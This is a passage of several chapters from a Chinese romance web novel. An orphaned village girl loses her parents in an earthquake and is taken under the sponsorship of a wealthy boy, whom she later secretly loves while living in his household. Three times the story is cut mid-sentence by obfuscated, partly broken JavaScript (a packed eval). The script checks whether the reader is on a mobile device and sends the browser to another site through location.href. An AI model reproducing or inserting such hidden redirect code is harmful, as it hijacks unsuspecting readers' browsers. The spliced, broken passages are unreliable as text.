《盼冬天》 2. 02 6岁以前,小单潆一直无忧无虑地生活在老家的大山里。 那里有个美丽的名字,叫云水。 顾名思义,乃是距离云层最近的地方,自古又有溪流穿山而过,就简单地取名为云水,并一代一代沿用下来。 单潆出生的时候,云水县还是贫困县,尚未能全县通电。 而她家所在的白云村,更是县里最偏僻山村。 县里没钱修路,从村中到县城,还要靠双腿走上两个小时山路,才能走出来。 可以说,村子除了空气好,别的什么都没有,是真真正正的一穷二白。 单潆的父母都是村中普通的茶农。 全家依靠种茶采茶过活。 日子虽然紧紧巴巴,但在单潆仅存的记忆中,自己在童年时,其实没吃过多少苦。 父母只有她这一个孩子,自是百般疼爱。 哪怕没电没网没手机没玩具没零食,每天却也欢欢喜喜地在山中玩耍。 爬树摘果,下水捞鱼,打鸟捉雀……等等。 总之,样样都能作为小孩的乐趣。 直到一场突如其来的地震,将白云村的平静生活完全打破。 云水千百年来都未有过这样大规模的自然灾害。 偏偏叫单潆的父母赶上。 夫妻俩都是勤劳的性格,想着适逢采茶季,快点将茶叶采下来加工。 头茬新茶卖得好,赶在别家前面,就能多赚点钱,给即将上小学的小女儿买书包买文具,还要买几身新衣服。 故而,地震来临时,大部分茶农都在地势较为平缓的村子里休息。 只有寥寥数人还在茶山上劳作,恰好被快速滑坡滚落的山石砸中,连人带茶树一起压到山下。 山路崎岖难行,等县里的救援赶到,再把碎石搬开,底下的人早就没了气息。 不过短短几个小时,单潆就变成了父母双亡的孤儿。 彼时,她年纪尚小,只茫然无措地站在救援人群之外,手心和脸颊都脏兮兮的,指甲缝里还卡着斑斑点点的泥土,是先前跟着村民们挖土救人时弄进去的,没来得及清理干净。 很快,村长看到了单潆。 小老头连忙走过来,把瘦瘦小小的小女孩抱到一边,捂住她的眼睛,长叹了一口气,轻声说:“阿潆,别看。” “……” 小单潆甚至没能明白村长爷爷的意思,只傻傻瞪着一双大眼睛,盯着眼前一片漆黑的虚无。 村长的手心里也有泥土的气味。 闻起来有点腥。 她就这么呆立着,听着四下间或响起的小声啜泣,一点点由远及近,向他们这里靠过来。 最终,小单潆什么都没看到。 也错过了与被抬走的父母遗体的最后一面。 地震发生后,为了防止传染病,所有遇难者的遗体必须要最快速度火化,不能再依循村里的习俗,留下停灵。 在村民怜悯的目光里,小单潆一点一点回过神来。 她没有爸爸妈妈了。 无论她如何哭闹、撒泼、哀求、祈祷,父母都不会再睁开眼,抱她哄她,笑着喊她的名字。 他们抛下她,变成了一摊灰,永远留在了山中。 在这么小的时候,单潆就明白了“命数”这两个字。 它冰冷残酷。 普通人根本无力去抵抗分毫。 …… 白云村贫穷落后,几乎没有外来人,村中大部分人家沾亲带故,有点亲缘关系。 因而,小单潆失怙失恃后,就在村里吃起了百家饭。 村里人条件都不好,养不起她。 只能今天蹭这家,明天蹭那家,轮流给小孩一口饭吃。 她家的老房子被人占去,只留了个放杂物的小房间供她睡觉。 但也仅限于此。 单潆九月份就要开学上一年级,原先她父母已经给她去镇上的小学报了名,他们离世后,也没人再帮小孩操心这件事。 毕竟,当下,上学虽说不用花钱,但其他花销却避免不了。 比如在学校吃饭、买文具校服之类的,样样都得用钱。 谁能长久担得起这个责任呢? 村长找各家问了几次,包括和单潆家比较亲近的表叔表婶家,一直也没商量出眉目来。 没办法,他只能宽慰单潆:“阿潆以后就学采茶吧,好歹也是个手艺。” “……” 单潆咬了咬唇,没说话。 她其实是想上学的。 可是,爸妈给她买的笔袋,都已经被表叔家的儿子抢走。他们说她是丧门星,讨债鬼,和她爸妈一样都是短命鬼,活不长,读书也没用,用不上这些东西。 现在村长爷爷也那么说……只能算了吧。 采茶也没什么不好。 虽然一直这样安慰自己,但单潆还是一晚上没睡好,辗转反侧。 天将明时。 她从自己的小屋子里蹑手蹑脚地溜出去,独自跑进了山。 对白云村的孩子们来说,大山就是游乐园,他们从小到大都在山里玩。哪怕摸黑不打灯,好像也能顺顺利利地出入其中。 单潆想去山里看看自家的茶树。 可是,因为地震,茶树早就不在那边了。 像爸爸妈妈一样,都不在了,再也不会回来了。 她只能恹恹地调转方向,去捡野果。 每天去别人家蹭饭看脸色的日子难捱,小单潆深有体会,白天干脆靠野果充饥,只晚上受不了了再去吃饭。 但她也不敢多吃,怕人家不高兴,只低着头小心翼翼地扒一点白饭,菜都不敢夹。 到最后,没吃饱,还是得进山摘野果。 这样想想,她倒是恨不得早点开始学采茶,能靠采茶养活自己。 一路走一路胡思乱想,不知不觉中,单潆的口袋里已经装了十几个果子,满满当当。 她抬头望了望。 正值破晓。 村子里的鸡大约已经开始打鸣,各家各户也要起床准备早饭。 单潆不想回去,也无处可去。 想了想,找了棵枝繁叶茂的大树,一溜烟爬上去,借着茂密的树枝当床网,靠在树干上打起瞌睡。 这个动作不太安全,但单潆小时候经常这么上树休息,早就熟门熟路,哪怕睡着了也不会摔下来。 郁郁葱葱的树叶好像变成了保护伞。 让她觉得无比安全。 …… 再睁开眼。 阳光从枝干缝隙里透下来,点点滴滴,亮闪闪的,像是洒下了一片金粉。 单潆忍不住伸手抓了抓。 抓到一团空气阳光。 她松开手,默默坐起身。 口袋中的果子因为这个动作滑落出去,刚刚好,砸到了经过树下的路人脑袋上。 “咚!” 一声轻响,底下那个人闷哼了一声。 单潆动作一顿,手忙脚乱地跳下树,叠声道歉:“对不起对不起…… ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16960729|193287||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” “没事。” 陌生声音响起,截止了她喋喋不休的道歉。 说话的男生约莫十多岁模样,似乎正处于变声期,声音里不见孩童的清脆,也不够低沉,听起来有点沙哑,但也不刺耳难听。 单潆没见过这人,睁着眼,诧异地打量着对方。 从他漂亮的眼睛、紧紧抿着的嘴唇,一直看到他的白T、运动裤,还有比脸都干净的、一点没沾上尘土的白球鞋。 这个时候,单潆还没有关于名牌的概念。 但她能看得出来,面前这个突然冒出来的男孩子,并不是村里人,有着和这片山格格不入的气质。 她问:“你是谁?” 男生垂眸看她,语气很平静,“路过的。” “……” 单潆怕这个外乡人迷路,主动提出带着他去了村长家。 此时,还有另一个高大陌生的成年男人坐在村长家里。 一样是穿得非常干净妥帖,模样英俊儒雅。 看起来和旁边这个小男生有点像。 到这会儿,小单潆才弄清楚这两人的来意。 他们是来捐助白云村的。 村长看到单潆,立马将她拉到自己身前,同那个男人介绍:“这就是我刚刚说的那个小女孩,今年才6岁。她爸爸妈妈都在地震的时候过世了,现在村里也没人有条件收养她。小姑娘很可怜的,没办法去上学,以后……” 老村长停顿了一下,长长叹了口气。 欲言又止中,有世俗的顾虑。 单潆在白云村里是属于很好看的小孩。 鹅蛋脸,樱桃唇,眼睛大而明亮。 在大人看来,这就是标准的美人胚子。 这样漂亮的小女孩,在这种落后贫穷的小地方,没了父母庇护,又不去上学,随着年岁增长,就会产生一些无法预知的危险和诱惑。 老村长当了白云村几十年的村长,是看着单潆父母长大的,知道他们夫妻俩都是老实踏实的好人,不愿意看到他们留下的孩子命运多舛。 现在既然有这样的机会,能帮,当然要帮一把。 这父子俩说来捐助,开着好车,进村还带着司机,一看就是城里的富贵人家。 从他们手指缝里流出来一点点,就够单潆平平安安地长大。 思及此,村长连忙拍拍单潆的肩膀,提醒她:“阿潆,快跟叔叔和哥哥问好,跟他们讲讲你的想法呀。你之前不是哭了很多次吗?让叔叔和哥哥帮帮你好不好?” “……” 骗人。 她才没哭很多次。 小朋友的脑子里还没有世故的概念,人生第一次被要求剖开自己的伤口,弄到鲜血淋漓,以祈求旁人的同情怜悯。 这对刚刚建立起自尊心的年纪来说,实在不是一件容易的事。 单潆的脸涨得通红,低垂着头,手足无措地攥着衣摆,讷讷说不出话,“嗯……” 男人摆手制止了她,将那个男孩叫到自己面前,问他:“周燕北,你听到没有?” “……” “有什么想法吗?” 男生双手插兜,全程一言不发。 只默默注视着单潆,似乎在思索。 这会儿功夫,单潆在村长一下又一下拍肩提示中,总算憋出了蚊子叫似的第一句话:“……哥哥,求求你,我想上学。” 话音刚落。 像是有什么东西从身体里飞走了一般。 刹那间,她潸然泪下。 3. 03 单潆来到海城不久后,认识了和周燕北关系很好的庄靳。 庄靳偷偷告诉过她,关于周燕北和周父突然出现在白云村的原因。 “……其实你别看周燕北现在装得很靠谱的样子,小时候可调皮了,偷偷把他爸的新车炸了,周伯伯气得要死,准备把他送去国外流放。周阿姨舍不得啊,想出了这么个招,准备趁着暑假带他去看看人间疾苦,试图感化一下他。恰好你们那边不是刚地震了嘛,就去了那边。也是缘分。” 单潆只觉得难以置信,惊愕地问道:“炸、炸车?!这不犯法吗?” 看到她这个表情,庄靳笑得很是夸张,“哈哈哈哈……阿潆你太搞笑了……虽然炸车,但不是用炸.药,用的是咱们过年玩剩下的炮仗。” “哦,哦哦,这样啊。” “周燕北这人就是特会装,小时候就装得人模狗样的。去的时候是不是把你们都骗到了?” “……” 彼时,两人都坐在客厅里。 周燕北从旁路过,就看到这两人凑在一起说悄悄话。 不用猜也知道,庄靳肯定在给单潆胡说八道。 他随手将庄靳的脑袋拨到旁边,懒洋洋地横他一眼,语带威胁地问了句:“说什么呢?” 庄靳立刻举手投降,“好吧,其实炸车这事不是他一个人干的,是我们几个人一起搞的。燕北是给我们背锅了。兄弟,哥永远记得这份恩情。” 周燕北似笑非笑,反问:“谁是你弟弟?我是独生子。” 闻言,庄靳立马扭过头,去逗单潆,“阿潆你听到了吗?周燕北说他是独生子,没兄弟姐妹呢。要么你还是来给我当妹妹吧,你庄靳哥不嫌妹妹多。” “我看你是不嫌事多。” 周燕北站起身,“没什么事快滚吧,我和阿潆要出去一趟。” 庄靳问:“干什么啊?昨晚你不是通宵了吗?还不去睡觉?” 周燕北揉了揉额角,“马上入秋了,带阿潆去买几身外套。” 听他这么说,单潆连忙摆手拒绝。 “没关系!我自己有带衣服来。还有校服呢,不用再买……” 反对无效。 最终商议出结果,周燕北在家补觉,由庄靳开车带单潆出门置装。 庄靳经常陪他的各任女朋友逛街购物,自称眼光极好,且经验丰富,绝对比周燕北靠谱。 路上。 庄靳笑眯眯地问起单潆,在白云村到底发生了什么事。 他说:“阿潆,你不知道吧,为了让燕北深刻反思自己的行为,每一笔资助的钱,都是从他的零花钱里出的。他那时候是不是特别不高兴?那会儿燕北多大?好像十一十二岁吧?嗯,应该还没现在那么道貌岸然。” “……” 发生了什么呢? 单潆骤然沉默下来。 事实上,关于周燕北的事,根本不需要如何回想。 从第一次见面开始,到现在,已经过去了十一年。 当中的一点一滴,包括两人每一次相见时,他的动作、细微表情,她都从来不曾忘却过分毫。 单潆从来不是能言善道的孩子,当时,勉强自己说完那句恳求的话,就哭得睁不开眼睛。 她明明是不想哭的,不想卖可怜。 特别是在陌生的小哥哥面前,更不想让自己看起来那么难堪。 可是,不知道为什么,眼泪就是止不住。 无论她如何掐自己的手心,捏自己的大腿,都无法抑制住呜咽声。 直到一只手朝她伸来。 那个名叫“周燕北”的小男生,突然朝她摊开手心,递来两颗糖。 他依旧没什么表情,小大人似的正经,轻声开口说道:“一点小事,别哭了。” 单潆还没来得及说话,村长先在旁边笑起来,拍拍她。 “是啊,阿潆听哥哥的,别哭了。你看看你,脸都哭花了,要被人笑话了呀。” 单潆抽抽噎噎的,还不忘嘴硬道:“瞎说!我才没哭呢!” 她不想被人笑话。 表叔家的哥哥就经常笑话她,说她看起来像个小乞丐,没学上,还要到处讨饭吃。 只是,表叔虽然占了单潆家的老屋,但也给她捎了口白饭。 所以她不能和表哥打架,不能反驳,任由他嫌弃嘲笑,抢走她的笔袋。 否则,可能就连白米饭都没得吃,杂物间也不能住,只能到山里去流浪。 村长偷偷教过单潆,说村子里大家条件都不好,她现在寄人篱下,不要和别人吵架,有什么事都多忍忍。 嘴巴甜一点,日子才能过得下去。 所以,在说完这句话后,小单潆立马就有些后悔。 她刚刚不小心用野果砸了这个小哥哥,还跟他顶嘴,会不会……他就不愿意资助她上学了? “……” 她想去上学的。 怎么办? 小单潆抹了抹脸,越想越害怕。 不愿面对这样的结果,便偷偷摸摸地往村长身后躲。 偏偏,小孩子的这点小心思,在大人眼里简直堪称无所遁形。 村长还在和周燕北他爸爸说话,察觉到了单潆的动作,眼疾手快地一把捞住她,将她牢牢按在原地。 “阿潆怎么了?躲什么?哥哥给你的糖怎么不接呀?” “……” 单潆扁扁嘴,吸着鼻子不敢说话。 还是周燕北主动往前一步,弯腰将糖塞进她的衣兜里。 他没再说话。 但捐助的事情就这样简单敲定下来。 由周家出资,给白云村二十个家庭情况有困难的孩子,承担从小学到初中的所有学业开支,包括学杂费、书籍费、餐费,以及每个月的生活费等等。 单潆是那二十个孩子之一。 村子里没有学校,周燕北他们明天还要去参观镇上的小学,当晚就借住在条件相对好一些的村长家中。 山里空气好,夏夜没雾气。 月亮显得很明亮,静静高悬于天。 像一盏灯笼,将整个村子照亮。 狭小逼仄的杂屋中,单潆直挺挺地躺在木板床上,睁着眼睛,透过窗户,遥望那抹月光。 此时此刻,她似乎才突然意识到,自己的人生,因为今天出现的这几个人,即将发生天翻地覆的骤变。 单潆还是懵懵懂懂的年龄,却也一下子就睡不着了。 翻来覆去半晌,干脆坐起身。 从口袋里摸出那两颗糖,借着月光,细细打量。 她没见过这种糖,又不识字,不认得糖纸上的名字,只看到上面有一只白色小兔子。 那个叫周燕北的哥哥,他很喜欢兔子吗? 单潆攥着糖,皱眉想了一会儿,决定抓一只兔子送给他,表达感谢。 大山里也是有野兔的,不过跑得快,不大好捉。 赤手空拳肯定不行,需要一点工具。 以前,单潆爸爸也给她抓过兔子玩。她知道要先弄好网,再去找个兔子窝,放网捉。 说干就干。 单潆当即跳下床,在杂物堆里翻翻找找,摸出了以前她妈妈用来晒东西的旧网兜和细麻绳,稍微改造一下应该就能用。 房间里光线太暗,她抱着一堆东西,轻手轻脚地出了门。 白云村外有一条小溪。 这个年头,村中还没通水电,用水要从村口的水井里打,再一桶一桶拎回各自家中,十分不方便。 为了省点麻烦,村民会到溪边洗衣服洗菜。 天气炎热的夏天,也有些男人会直接在溪水里洗澡。 单潆很喜欢到水边玩。 深夜,万籁俱寂。 月光洒下来,水面波光粼粼,好像能反射亮光。 再加上山风习习,扑面而来,带着凉意,比闷在屋子里舒服很多。 她在溪边找了个石头爬上去,就着月光,开始鼓捣她的“捕兔网”。 没一会儿,旧网兜一圈圈缠上线,逐渐变得牢固。 单潆用力扯了扯,满意地笑起来。 下一瞬。 后面突然冒出一个声音。 “你在做什么?” “啊!” 单潆毫无防备被吓到,尖叫一声,满脸惊愕地从石头上蹦起来。 回过头。 周燕北站在几步之外,正面无表情地看着她。 他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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单潆想了想,将大石头上的东西全都推到地上,拍了拍石面,“那你坐这里。这里很舒服的。” 小孩子的思维很简单直接,被村长灌输后,知道这个小哥哥是来捐钱的,以后会供她上学,必须要照顾好他,让他高兴,他才能愿意寄钱来。 周燕北没拒绝。 转眼,一大一小两个孩子并肩坐到了石头上,一同望着眼前的溪水,以及更远处的山峦和月光。 事实上,两人完全不熟悉。 坐在一起也不知道说什么好。 停顿片刻。 单潆干巴巴地道谢:“哥哥,今天谢谢你的糖。” 周燕北垂着眸,声音有点沙,“不用客气。” 话题终结。 “……” 单潆继续苦思冥想,“我没有钱,不知道该回送你什么。” 闻言,周燕北突然扭过头,问:“你家有热水吗?” 单潆一愣,“热、热水?我不知道……” 热水瓶放在主屋,那是表叔的房间,她平常是不会进去的。 “哥哥,你要喝水吗?我可以烧。” 五分钟后。 两人一齐回到单潆家。 村子里都用灶,单潆轻手轻脚地捡了几根木柴,蹲下.身,开始生火烧水。 周燕北在大城市里,从来没见过这种灶。 所以就算生火把厨房里弄得很热,他也没走,只站在一旁静静地看着单潆忙碌。 没多久,火旺起来。 锅里的水开始沸腾。 单潆回过头,朝周燕北笑,“哥哥,烧好了!” 火光映衬得她眼睛极亮,像是有星子落在里面。 这般明眸皓齿又天真可爱的模样,仿佛一直被保护得很好,没受到过任何污染,也不曾被贫困和逆境伤害,让人忍不住就对小姑娘生出怜惜之情。 周燕北:“等等。” 他快步回到村长家,从自己行李箱里拿了两盒泡面过来。 热水倒进泡面,很快就飘出了调料的香味,萦绕满屋。 生怕把别人吵醒,两人端着面,重新回了溪边。 周燕北指了指单潆手上那碗,说:“给你吃。” 单潆连忙摇头,“哥哥,我不能再拿你给的东西了。” 她已经收了他的糖,不能再贪得无厌。 哪怕这面香得她直吞口水,也不能吃。 万一,哥哥也觉得她是讨债鬼,不想给她交学费了,那可怎么办好呢? 4. 04 周燕北看得出来,这个小姑娘表情怯怯,整个人也一直是小心翼翼的状态,明显是在怕他生气。 联想到今天白天村长说的话,他大概能猜到对方的想法。 小孩子大多是白纸一张,再怎么努力,总归是学不会大人之间那种心知肚明的世故,不值得计较。 周燕北想了想,决定哄骗单潆。 “我吃不下两碗。” 单潆一愣,低头看向自己手中的泡面,小声喃喃:“啊,那怎么办?” 周燕北故作老成地点点头,“是啊,你不能吃的话,就只能浪费了。” “……” 浪费。 这两个字,在单潆眼里,就是这个世界上绝对不可饶恕的死罪。 云水县是贫困县,地方政策扶持多年,但依旧未能完全脱贫成功。 白云村更是其中最穷苦的地方之一。 在当地人眼中,一粒米就是一碗金,珍贵无比。 别说现在了,就算是父母尚在时,她要是平白浪费这样一碗好好的面条,全家人都得心疼半天。 迟疑许久,单潆试探性地望向周燕北。 “如果你真的吃不下,也不能扔掉的……那我吃了?” 周燕北:“嗯。” 再次得到许可,单潆暗暗松了口气,总算不再犹豫,虔诚地拿起塑料叉,和周燕北一起低头吃面。 这碗泡面,是单潆此生中,吃过最好吃的。 这个“最”字,定格此刻,又定格永恒。 今生今世,不会改变。 …… 翌日。 单潆依旧起了个大早,踩着日出进山。 昨晚她吃得很饱,心中愈发感激周燕北,当然没忘了要给他回礼报恩的事。 于是,在周燕北回村长家之后,单潆摸索着,独自绑完了她要用来捉兔子的网,把它布置到了之前见过的兔子洞外,才跑回家睡觉。 山里的野兔大多清晨出动,如果顺利的话,早上再过去,就能抓到被网兜套住的小兔子。 只不过,小孩子经验不足,还没学过“狡兔三窟”的道理。 加上临时起意,又匆匆忙忙,昨天没能来得及踩点确认兔子洞的情况,不知道这个洞里现在根本没有兔子。 网兜空空如也。 周围连个野兔的脚印都没看见。 单潆不死心,在附近转了好几圈,依旧一无所获。 只好颓然叹口气,整个人也耷拉下去,满身无精打采的失落模样。 怎么办? 他们今天就要走了。 小小的单潆已经过早明白了离别的含义,周燕北这次离开白云村,他们可能不会再见面,她也无法再向他表达自己的感激。 除非……未来某一天,她也能离开这里,离开大山,去更大的世界看看。 到那时候,她才能去找周燕北。 可是未来到底会怎么样? 单潆茫然地望了望四周。 倏地,她注意到,有人正从村子那边跑来。 单潆:“……村长爷爷!” 村长眼神不好,听到单潆的声音才看到她,连忙气喘吁吁地朝她招手。 “阿潆,你怎么跑山里来了,找你半天了……快来,周老板他们要走了,你过去一起去送送!” 闻言,单潆忙不迭迈开步子。 一老一小两人紧赶慢赶,总算赶在周燕北他们的车开前,赶了回去。 这会儿,周父正在和另外那几个孩子的家人打招呼告别。 虽然只来了一天,但全村都已经知道,他们是来做善事的大老板,要免费供村里的孩子们去上学。 因此,为表感谢,大家都拿上了家里仅有的好东西,要让他们带走。 “周老板,这是我家自己腌的辣椒,拌面条特别好吃,外面买不到的!不值钱的一点点心意,您带回去尝尝吧!托您的福,我家小子可以继续上初中,他知道之后在家里哭了一晚上呢!对了,他叫单有才,以后就仰仗您了!” “是啊周老板,这是我媳妇腌的咸菜,您也拿一点……” “还有萝卜饼和糍粑……” “……” 单潆远远地看着车边的热闹,一点点放缓了脚步。 她没有父母,还没捉到兔子,现下也只能空着手前来。 想想实在令人沮丧。 与此同时,周燕北也同样游离与人群之外,架着长腿靠在另一侧车门边。 他今年12岁,在大人眼中,依旧只是个稚嫩的小孩子。 见他少言寡语,不爱应付客套话,便也无人再凑上去讨嫌。 渐渐地,周燕北等得有些失去耐心。 目光四下逡巡半圈。 他看到了单潆,表情一松,支起身,招手示意她过去。 “哥哥。” 单潆期期艾艾地蹭过去,有些期待,又难免遗憾。 要是能捉到兔子就好了,作为分别礼物,也不至于显得这般窘迫。 周燕北看起来没睡好,懒散地打了个哈欠,压着嗓子问她:“怎么不多睡会儿?村长去喊你了?” “……”单潆尴尬低下头,“没、没,已经很晚了,应该是要早点来的。” 闻言,周燕北只是漫不经心地笑了下,没有作声。 沉默半晌。 旁边,大人们似乎即将结束客套。 村长走到最前面,同周父解释道:“周老板,云水县的公路还没铺到咱们这里儿,山路不好走,你们要去镇上的话是要早点出发的,不然中午都没法到。就不多留你们了,让我儿子跟车给你们指路吧。” 周父连忙拒绝,“不用麻烦,来的路线都记得。村长,村里孩子们有什么困难的话,你就打电话给我儿子。电话都有,咱们保持联络。” “谢谢您,真的太谢谢您了……” 几句话功夫,司机已经提前将车发动起来。 周燕北也拉开后座,一只脚踩上了脚踏。 倏忽间,他似乎想到什么,停下动作,单手扶住车门,扭头望向单潆。 小女孩瘦瘦小小的,没了黑夜遮掩,身板看起来相当羸弱,好像一阵山风就能把她吹跑。 贫穷在阳光下无所遁形。 或许正是因此,她总是低着头看地面,攥着手指,怯懦可怜的模样。 周燕北生出不忍,在心中叹了口气。 复而低声问道:“还没来得及问你,你叫什么名字?” 他们俩认识了加起来不到二十四个小时,已经变成了资助人和被资助人的关系。 但最重要的“认识”这一环,还不够完整。 这样的开始,似乎命中注定,永远无法平等,却又足够能产生无止无尽的羁绊。 单潆没想到周燕北会问她的名字,讶然抬眸。 顿了顿,她才闷声说:“单潆。我叫单潆。” “哪个yin?”周燕北显然来自南方,虽听到过村长喊她“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16960731|193287||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 阿yin”,偏偏前后鼻音又分得不太明晰,“是金银的银,还是盈盈一水间的盈?” 单潆:“三点水,加一个萦绕的萦。” 事实上,单潆的父母都是本地普通茶农,家庭条件艰苦,文化水平局限于初中肄业,原不该认识这样少见的字。 在孩子出生前,他们提前想好的是“迎”字,表示欢迎来到这个家。 男女都能用。 但单潆出生后,立马先是生了一场大病,在镇上的医院住了一个多月。好不容易出院回家,又开始日夜哭闹不止,一定要哭到声音嘶哑脱力才停,怎么哄都不管用,非常难带。 她父母找隔壁村的瞎子来看了看,说她命数单薄,五行缺水,所以体弱多病,名字最好换个带水的字,压一压这生来薄若蝉翼的命格。 回到家,夫妻俩翻字典想了好几天。终于翻出了这个“潆”字。 萦是缠绕的意思。 旁边三点水,表示有水缠绕在身,延绵不绝。 没想到,名字一换,单潆真就不怎么哭了,也没再生过病,见风吹地顺利长大。 虽然她现在还没开始识字,压根不知道“萦绕”的“萦”怎么写,但听爸爸妈妈说过这件事后,先学会了如何解释自己的名字。 而所有准备,好像就是为了这一刻的自我介绍。 因为之前,白云村从来不曾有人问过她,究竟是哪个ying。 “……” 所以,话音落下,小单潆立马充满期待地望向周燕北。 幸好,周燕北也没有让她失望。 “噢。原来是这个字。”小少年牵着唇角笑起来,“下次,你可以说这是江水潆洄的潆。” …… 在庄靳兴味的目光里,单潆一点一点,将记忆仔细翻阅。 这好像是周燕北第一次对她笑。 应该没有不高兴吧。 于是,她摇摇头,轻声说:“没有,哥哥特别好,也一点都没有不开心。” “哦?”见单潆语气认真,庄靳忍不住逗她,“有多好?” “……” 单潆抿了抿唇,垂下眼睑,却又不肯说话了。 对整个白云村的孩子来说,周家父子就是从天而降的神。 地震后,县里对受灾地区有过帮扶。 但原本云水县就是贫困县,自身经济紧张,白云村又只是个小村子,人口稀少,根本受不到多少重视。县里给了所有遇难者家属一笔补偿,也拿不出更多来,聊胜于无。 单潆年纪太小,补偿金压根落不到她手上。 而对那时的她来说,钱还不是最关键的需要。 从村里到镇上小学的路崎岖泥泞,车都不好开,靠腿走则更为艰难。 白云村每个孩子,但凡在镇上没有住处的,得每天早出晚归,天不亮出门,翻山越岭长途跋涉,花费将近两个小时走到学校。 周燕北他们回去的路上,大概也是发现了这一点,又额外捐钱建了一条路,从小镇一路铺到了白云村所在的大山中。 冬天来之前,单潆他们这些孩子,已经能从平坦的水泥路走出去。 稍微条件好一些的人家,还能买自行车骑着去。 所以,要问单潆,周燕北有多好,她只觉得语言太过匮乏。 就像那晚溪水边的月亮。 周燕北比山里的月光还要明亮一万倍。 但对单潆来说,他也是同样的遥不可及,高不可攀,只能仰望。 5. 05 - 往事点点滴滴,无论何时何地,都能令人不自觉心生恍惚。 绿灯。 汽车继续朝前行驶。 单潆攥着手心的那两颗大白兔,再次小声强调了一遍:“……真的没哭。” 周燕北笑起来,从善如流地点点头。 “好好好,没哭没哭。没什么大不了的,下次好好考。” 是标准哄孩子的语气。 “……” 单潆张了张嘴,试图辩解几句。 比如,表达自己已经17岁了,不是以前那个小孩子了。 心理也没那么脆弱,不会动不动就哭哭啼啼的。 但最终,她还是挫败地选择放弃。 或许,做个周燕北眼里的孩子,才是目前最好的选择。 至少,两个人的关系能一直维持现状。 单潆默默握紧糖果,良久,忍不住在心底长叹了一声。 …… 路上还算顺利。 两人趁着夜色回到家。 阿姨知道今天是单潆的家长会,周燕北会去参加,特意比平时晚一会儿才开始做饭。 等他们俩在餐桌前坐定,晚饭也刚好热气腾腾地端上桌。 周燕北已经洗过澡,换了身宽松舒适的家居服,头发吹得半干不干,刘海耷拉下来,盖住额角,依稀还能看见湿漉漉的水汽。 在这种生活化的细节里,单潆仿佛才会有自己已经来到他身边的实感。 终于不再是只能翘首以盼。 八人长桌上,她坐在周燕北对面。 无论发生多少次,都像是在做梦一样。 “……” 周燕北似乎察觉到了单潆意味不明的目光,拿筷子的手微微一滞。 继而,随手夹了一块辣椒牛肉,放到她的碗里,温和嘱咐,“多吃一点。” 单潆:“谢谢。” 顿了顿,她又小声道:“哥哥,你不能吃辣,不要碰辣椒了。这个很辣的。” 周燕北是土生土长的海城人,口味也还和小时候一样,吃不惯重盐重油重辣。 但为了迁就单潆的口味,他特意让家里的阿姨学了几道云水特色菜。 自从把单潆接来家里之后,阿姨每天都会做辣菜。 哪怕桌上只有他们两个人吃饭。 单潆拒绝了好几次,说这样太浪费,她完全可以吃海城菜。 小时候她家里穷,食材有限,稍微长大一些,父母又意外离世,只能吃百家饭、受人冷眼,平常能吃饱都算是幸运事儿,哪有那么多可挑剔的,自然也没那么娇气。 周燕北听了,只会开玩笑似地调侃她:“阿潆这么瘦,饭要是还做得不合你口味,是准备偷偷羽化登仙吗?哥哥带你来海城,不是让你来吃苦委屈自己的。” 下一顿,依旧如故。 单潆知道,就算在海城这样经济极度发达的大城市,周家也是声名显赫的富贵人家。 当年她6岁,整个云水县还没脱贫成功,只为了给周燕北上一堂金钱观的教育课,周父就能豪掷千金,出钱给白云村修一条路。 家住市中心的豪宅别墅区,还有其他房产数处,每套房子里都养着保姆厨师园丁等等,只为了或许一年只去呆几天时的便捷。 出入有司机接送,车库里一半以上的豪车常年闲置。 对她来说,曾经连想象都想象不出来的、完全遥不可及的生活,只是他们浑然不觉特别的日常。 偏偏,有钱人的傲慢与居高临下,却从未在周燕北身上出现过。 他温柔又随性,淡定从容,待人处事很有涵养。 哪怕是细枝末节处,都会令人觉得如沐春风。 至少,在单潆看起来,周燕北就是全世界最最最好的人,是照亮她人生路的一轮月亮。 她无法回报他的恩情。 甚至还敢大逆不道地偷偷喜欢他。 无数次午夜梦回,情感与理智拉扯,单潆被自己折磨得矛盾丛生,失眠到天亮。 像是走进了一条岔路,喜欢和不能喜欢、妄图高攀和摆正位置,选左和选右都是死胡同,恨不得劈开墙壁逃出生天。 而这些挣扎,全都是见不得光的,不能被任何人知晓。 单潆只能将所有念头都深藏眼底,悉数化成一句话,“我去给你换双筷子。” 她站起身。 闻言,周燕北笑起来,立马拉住她的手臂,将人按回原位坐好,“一点点能有什么关系,辣椒又不是毒药。你乖乖吃你的,别操心。” “……哦,好。” 一顿晚饭吃得心不在焉,食不知味,不复往日轻松温馨氛围。 全程,单潆都看起来有些垂头丧气。 周燕北以为她是怕自己拿成绩批评她,只觉好笑。 想让她好好吃个饭,便也没有再在饭桌上提起家长会的事。 小孩子嘛,世界还尚小。 在这个年纪,一点点学业上的挫折,就好像是一件天大的事了一般。 特别是单潆这样要强努力的小姑娘。 时至今日,周燕北仍旧记得,单潆刚来海城时发生的事。 …… 差不多一年半前,单潆中考结束,考出了一个相当不错的成绩。 她初中是在云水县城里念的。 因为距离白云村实在太远,走读不现实,就选择了住校。 这会儿,单潆已经不再是懵懂无助、随波逐流的窘迫小孩。 